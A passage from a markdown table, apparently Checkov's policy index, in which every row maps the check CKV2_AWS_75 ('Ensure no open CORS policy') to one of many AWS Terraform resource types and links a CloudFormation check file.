[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1335 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1336 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1337 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1338 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1339 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1340 | CKV2_AWS_75 | resource | aws_s3_bucket_logging                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1341 | CKV2_AWS_75 | resource | aws_s3_bucket_metric                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1342 | CKV2_AWS_75 | resource | aws_s3_bucket_notification                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1343 | CKV2_AWS_75 | resource | aws_s3_bucket_object                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1344 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1345 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1346 | CKV2_AWS_75 | resource | aws_s3_bucket_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1347 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1348 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1349 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1350 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1351 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1352 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1353 | CKV2_AWS_75 | resource | aws_s3_directory_bucket                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1354 | CKV2_AWS_75 | resource | aws_s3_object                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1355 | CKV2_AWS_75 | resource | aws_s3_object_copy                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1356 | CKV2_AWS_75 | resource | aws_s3control_access_grant                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1357 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1358 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1359 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1360 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1361 | CKV2_AWS_75 | resource | aws_s3control_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1362 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1363 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1364 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1365 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1366 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1367 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1368 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1369 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1370 | CKV2_AWS_75 | resource | aws_s3tables_namespace                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1371 | CKV2_AWS_75 | resource | aws_s3tables_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1372 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1373 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1374 | CKV2_AWS_75 | resource | aws_s3tables_table_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1375 | CKV2_AWS_75 | resource | aws_sagemaker_app                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1376 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1377 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1378 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1379 | CKV2_AWS_75 | resource | aws_sagemaker_device                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1380 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1381 | CKV2_AWS_75 | resource | aws_sagemaker_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1382 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1383 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1384 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1385 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1386 | CKV2_AWS_75 | resource | aws_sagemaker_hub                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1387 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1388 | CKV2_AWS_75 | resource | aws_sagemaker_image                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1389 | CKV2_AWS_75 | resource | aws_sagemaker_image_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1390 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1391 | CKV2_AWS_75 | resource | aws_sagemaker_model                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1392 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1393 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1394 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1395 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1396 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1397 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1398 | CKV2_AWS_75 | resource | aws_sagemaker_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1399 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1400 | CKV2_AWS_75 | resource | aws_sagemaker_space                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1401 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1402 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1403 | CKV2_AWS_75 | resource | aws_sagemaker_workforce                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1404 | CKV2_AWS_75 | resource | aws_sagemaker_workteam                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1405 | CKV2_AWS_75 | resource | aws_scheduler_schedule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1406 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1407 | CKV2_AWS_75 | resource | aws_schemas_discoverer                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1408 | CKV2_AWS_75 | resource | aws_schemas_registry                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1409 | CKV2_AWS_75 | resource | aws_schemas_registry_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1410 | CKV2_AWS_75 | resource | aws_schemas_schema                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1411 | CKV2_AWS_75 | resource | aws_secretsmanager_secret                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1412 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1413 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1414 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1415 | CKV2_AWS_75 | resource | aws_security_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1416 | CKV2_AWS_75 | resource | aws_security_group_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1417 | CKV2_AWS_75 | resource | aws_securityhub_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1418 | CKV2_AWS_75 | resource | aws_securityhub_action_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1419 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1420 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1421 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1422 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1423 | CKV2_AWS_75 | resource | aws_securityhub_insight                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1424 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1425 | CKV2_AWS_75 | resource | aws_securityhub_member                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1426 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1427 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1428 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1429 | CKV2_AWS_75 | resource | aws_securityhub_standards_control                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 